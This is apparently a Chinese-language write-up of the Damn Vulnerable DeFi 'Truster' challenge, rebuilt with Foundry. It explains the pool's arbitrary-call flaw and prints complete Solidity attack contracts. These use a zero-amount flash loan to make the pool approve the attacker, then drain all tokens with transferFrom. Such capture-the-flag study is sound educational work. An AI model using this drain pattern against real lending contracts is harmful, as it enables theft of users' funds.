Challenge #3 - Truster#
为了系统的学习 solidity 和 foundry,我基于 foundry 测试框架重新编写 damnvulnerable-defi 的题解,欢迎交流和共建~🎉
合约#
- TrusterLenderPool:提供闪电贷功能,池子中有 100w DVT tokens
脚本#
- 部署 DamnValuableToken、TrusterLenderPool 合约
- 向 pool 中转入 100w DVT tokens
- 执行攻击脚本
- 期望 100w token 全部归属 player 账户,pool 余额清空
题解#
在 pool 中的 flashLoan 方法中,首先需要计算当前的 token 余额 balanceBefore,然后转移 token 到 borrower,再执行给定 target.functionCall,最后校验当前余额和 balanceBefore
区别于之前的闪电贷,这里 pool 没有继承 IERC3156FlashLender,而是通过调用传入的 target 和 calldata 完成回调功能
因此主要的攻击方向就是 target.functionCall,包括的内容是:
- 将指定 amount 的 token approve 给攻击合约
- 执行 repay 流程
执行完 functionCall 后再利用 transfer 方法将 token 从 pool 中转移出来,整体流程图如下所示:
根据题目要求,尽可能在一笔交易完成,那么需要写合约来完成 flashloan+approve+transfer 的操作
-
包括两个合约:TmpAttacker 和 Attacker,执行 flashloan 的是 Attacker,但是因为一笔交易内完成(只有部署合约),部署合约时无法拿到当前合约地址,需要再创建一个合约:TmpAttacker
-
部署 Attacker 合约时会调用 pool.flashLoan,此时 amount 为 0,只是为了进行 approve,将 TOKENS_IN_POOL 数目的 token approve 给 TmpAttacker
-
再调用 TmpAttacker.withdraw 将 token 转移到 player 账户,完成攻击
整体代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/truster/TrusterLenderPool.sol";
import "../../src/DamnValuableToken.sol";
contract TmpAttacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
address player;
address pool;
DamnValuableToken token;
constructor(address _player,address _token, address _pool){
player = _player;
pool = _pool;
token = DamnValuableToken(_token);
}
function withdraw() external{
token.transferFrom(pool, player, TOKENS_IN_POOL);
}
}
contract Attacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
constructor(address _pool, address _token){
TmpAttacker attacker = new TmpAttacker(msg.sender, _token,_pool);
TrusterLenderPool pool = TrusterLenderPool(_pool);
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
attacker,
TOKENS_IN_POOL
);
pool.flashLoan(0, address(attacker), _token, data);
attacker.withdraw();
}
}